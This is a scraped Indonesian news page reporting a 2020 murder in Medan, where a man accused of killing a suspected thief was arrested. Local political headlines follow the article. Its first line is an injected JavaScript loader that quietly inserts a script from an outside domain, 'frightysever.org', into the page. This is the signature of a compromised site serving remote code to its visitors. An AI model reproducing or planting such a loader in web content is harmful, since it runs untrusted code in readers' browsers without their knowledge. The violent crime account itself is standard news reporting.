(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
NASIONAL

SADIS. Dituduh Mencuri, Korban Diikat dan Digorok di Rumah Pelaku


KANALKALIMANTAN.COM, MEDAN, Polisi meringkus warga bernama Muhammad Antoni Akbar alias Toni lantaran dianggap menjadi pelaku pembunuhan terkait kasus penemuan mayat mayat di pinggiran Sungai Denai, pada Sabtu (14/3/2020).

Wakapolrestabes Medan, AKBP Irsan Sinuhaji mengatakan, peristiwa berawal saat pelaku melihat korban melintas di area gubuknya yang berada di pinggiran Sungai Denai, Jumat (13/3/2020). Pelaku lalu memanggil korban dan menanyakan apakah korban mau mencuri.

PERINGATAN: Berita ini berisi konten kekerasan. Penjelasan aksi pelaku semata untuk menjelaskan kronologi kasus pembunuhan. Bukan untuk menginspirasi aksi kekerasan yang sama. Jika menemukan adanya pelanggaran hukum, segera lapor kepada polisi terdekat.

Pelaku lalu membawa korban yang dituduhnya mencuri ke dalam gubuknya. Di situ, pelaku menginterogasi korban dengan tangan dan kaki terikat. “Korban ditiarapkan ke lantai dan pelaku lalu menggorok leher korban menggunakan pisau. Motifnya karena merasa korban ingin mencuri,” katanya seperti dikutip dari Kabar Medan–jaringan Suara.com, mitra media Kanalkalimantan.com, Selasa (17/3/2020).

Setelah mendapatkan laporan warga terkait penemuan jasad korban, polisi langsung melakukan penyelidikan di lokasi. Namun, polisi mencurigai seorang lelaki yang melarikan diri dari gubuknya yang ada di pinggiran sungai.

“Petugas yang curiga sempat melakukan pengejaran, namun pelaku berhasil kabur. Petugas menemukan bekas ceceran darah dan pisau di gubuk itu,” ujarnya.

Petugas yang melakukan penyelidikan menangkap pelaku pada Minggu (15/3/2020) sekitar pukul 05.30 Wib. “Pelaku ditangkap saat bersembunyi di rumah kerabatnya, di Jalan Bantan, Medan Tembung,” jelasnya.

Pelaku dipersangkakan dengan Pasal 338 Jo Pasal 340 KUHP, dengan ancaman hukuman mati atau kurungan penjara seumur hidup. Irsan mengimbau, bagi masyarakat yang kehilangan anggota keluarga berjenis kelamin laki-laki dengan umur sekitar 24 tahun agar melapor ke pihak berwajib. “Sampai saat ini status korban Mr X,” kata dia. (suara.com)

Reporter : suara.com
Editor : kk

 


Al Ghifari

Recent Posts

Diserang Secara Personal, H Saidi Mansyur Tunjukkan Kedewasaan pada Debat Publik Kedua Cabup Banjar

KANALKALIMANTAN.COM, BANJARBARU - Pasangan Calon Bupati dan Calon Wakil Bupati Banjar nomor urut 01, H… Read More

2 jam ago

Kenakan Jaket Putih, H Saidi Mansyur dan H Said Idrus Jalani Debat Publik Kedua

KANALKALIMANTAN.COM, MARTAPURA - Debat publik kedua calon bupati dan wakil bupati Kabupaten Banjar yang digelar… Read More

4 jam ago

Senam Bersama DWP Pemkab HSU Sambut HUT ke-25

KANALKALIMANTAN.COM, AMUNTAI - Ratusan ASN di lingkungan Pemerintah Kabupaten (Pemkab) Hulu Sungai Utara (HSU) mengikuti… Read More

5 jam ago

Debat Pilbup Balangan: Penajaman Visi Misi dan Program Kerja Paslon

KANALKALIMANTAN. COM, PARINGIN - Komisi Pemilihan Umum (KPU) Kabupaten Balangan menggelar debat terbuka kedua pasangan… Read More

9 jam ago

Laporan Dugaan Pelanggaran Cabup Banjar Tamliha-Habib, Begini Progresnya di Bawaslu Kalsel

KANALKALIMANTAN.COM, BANJARMASIN - Suasana di kantor Bawaslu Provinsi Kalsel pada Jumat (22/11/2024) siang terpantau seperti… Read More

11 jam ago

Pjs Wali Kota Banjarbaru Serahkan SK Kenaikan Pangkat PNS

KANALKALIMANTAN.COM, BANJARBARU - Pemko Banjarbaru menyelenggarakan acara penyerahan SK kenaikan pangkat PNS periode 1 Desember… Read More

14 jam ago

This website uses cookies.